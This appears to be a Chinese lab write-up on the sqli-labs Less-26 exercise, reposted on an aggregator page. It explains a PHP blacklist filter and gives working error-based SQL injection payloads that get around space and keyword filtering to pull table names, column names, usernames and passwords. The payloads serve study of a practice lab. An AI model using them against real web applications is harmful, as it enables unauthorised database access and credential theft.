当前位置:网站首页>SQL注入 Less26(过滤空格和注释符,使用不带空格的报错注入)
SQL注入 Less26(过滤空格和注释符,使用不带空格的报错注入)
2022-07-28 11:24:00 【华为云】
function blacklist($id){ $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return $id;}尝试绕过空格
替换空格:
(1)mysql空白符:%09、%0A、%0B、%0D、%20、%0C、%A0、/**/(2)正则空白符:%09、%0A、%0B、%0D、%2025%为百分号,%25A0就是空白符%09——TAB键(水平)%0a——新建一行%0c——新的一页%0d return 功能%0b——TAB键(垂直)%a0——空格==内联注释常用于绕过空格==
尝试了一下,发现绕过不了空格
由于Windows下无法使用一些特殊字符来替换空格,Linux可以,可以去Linux下尝试
不使用空格的注入方法(报错注入)
?id=1'||updatexml(1,concat(0x7e,(database())),1)||'1' ='1?id=1'%26%26updatexml(1,concat('~~',database()),1)%26%26'
%26是&的url编码。
因为and前后都必须要有空格,所以使用&&
但是&&不能够正常的提交给服务器,所以我们必须输入他的url编码%26%26才行。
用||也可以,更好用
?id=1'%26%26updatexml(1,concat('~~',database()),1)%26%26'
?id=1'%26%26updatexml(1,concat('~~',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security"))),1)%26%26'
==注意这里用括号包裹语句,绕过空格==
用括号()将每个查询的部分独立开
?id=1'%26%26updatexml(1,concat("~~",(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="security"%26%26table_name="users")),0)%26%26'
near 'LIMIT 0,1'
这个问题,之前报错注入也出现过,可能是多出了Limit 0,1导致构不成整条语句了
也有可能是这里(table_schema="security"%26%26table_name="users")出现了问题
?id=1'%26%26updatexml(1,concat("~~",(select(group_concat(username,passwoorrd))from(users))),0)%26%26'
https://blog.csdn.net/weixin_43901998/article/details/107340272
https://blog.csdn.net/weixin_43901998/article/details/107340272
边栏推荐
- [diary of supplementary questions] [2022 Niuke summer school 2] h-take the elevator
- Some knowledge concepts
- Detailed explanation of boost official website search engine project
- Full resolution of the use of go native plug-ins
- Upgrading of computing power under the coordination of software and hardware, redefining productivity
- Unity encountered a pitfall and the AB package failed to unload
- Final modifier attribute
- String function (Part 2)
- A natural choice
- STL の 概念及其应用
猜你喜欢

Hcip day 1

Techniques for visualizing large time series.

Shell (I)

Direct insert sort and Hill sort

Interpretable ml of Li Hongyi's machine learning model
![[leetcode] 7. valid anagram · effective letter ectopic words](/img/bc/9806df1358c6f09db03ef2e771aa5a.png)
[leetcode] 7. valid anagram · effective letter ectopic words

REST风格

Hcip (condition matching and OSPF packet related knowledge)

Minikube initial experience environment construction

Stored state and running state of program
随机推荐
Redis installation
DNS series (III): how to avoid DNS spoofing
consul安装与配置
R language ggplot2 visualization: use the ggboxplot function of ggpubr package to visualize the box diagram and customize the fill parameter to configure the filling color of the box
How async await implements concurrency
R language uses LM function to build regression model with interactive items, and uses: sign (colon) to represent the interaction of variables (colon is pure multiplication, excluding the constituent
[极客大挑战 2019]BabySQL-1|SQL注入
[leetcode] 7. valid anagram · effective letter ectopic words
Hcip day 1
R language ggplot2 visualization: use the ggdotplot function of ggpubr package to visualize the grouped dot plot, set the palette parameter, and set the color of data points in different grouped dot p
Unity遇坑记之 ab包卸载失败
WebView details
[leetcode] 8. binary search · binary search
LyScript 获取上一条与下一条指令
Interfaces and abstract classes
玩转诗词-领略古诗文之美
AlexNet—论文分析及复现
2022.07.07 summer training personal qualifying (II)
Application of mobile face stylization Technology
STL concept and its application